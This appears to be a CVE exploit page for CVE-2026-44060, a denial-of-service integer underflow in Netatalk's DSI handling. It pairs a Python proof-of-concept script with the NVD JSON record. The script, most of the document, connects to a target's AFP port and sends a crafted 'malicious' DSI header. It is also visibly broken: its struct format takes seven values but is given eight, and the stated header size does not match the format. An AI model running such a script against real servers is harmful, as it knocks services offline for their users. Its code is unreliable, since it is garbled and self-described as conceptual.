CVE-2026-44060

import socket import struct # Target host and port HOST = 'TARGET_IP' PORT = 548 def send_exploit(): try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) # DSI Header structure (simplified for PoC) # Flags: Request, Command: Write (or similar) # The goal is to trigger the underflow in dsi_writeinit() # by setting a specific length field. dsi_flags = 0x00 dsi_command = 0x02 # Example command code dsi_request_id = 1 dsi_data_offset = 0 dsi_total_length = 0x00 # Malformed length to cause underflow dsi_reserved = 0 # Construct header (16 bytes) # Note: Actual structure depends on Netatalk version, this is a conceptual PoC header = struct.pack('!BBHIIII', dsi_flags, dsi_command, dsi_request_id, dsi_data_offset, dsi_total_length, dsi_reserved, dsi_reserved, dsi_reserved) # Padding/Alignment # Sending the crafted packet s.send(header) print("[+] Malicious packet sent to trigger integer underflow.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-44060", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:21.577", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer underflow in dsi_writeinit() in Netatalk 1.5.0 through 4.4.2 allows a remote unauthenticated attacker to cause a denial of service via a crafted DSI write request."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44060", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}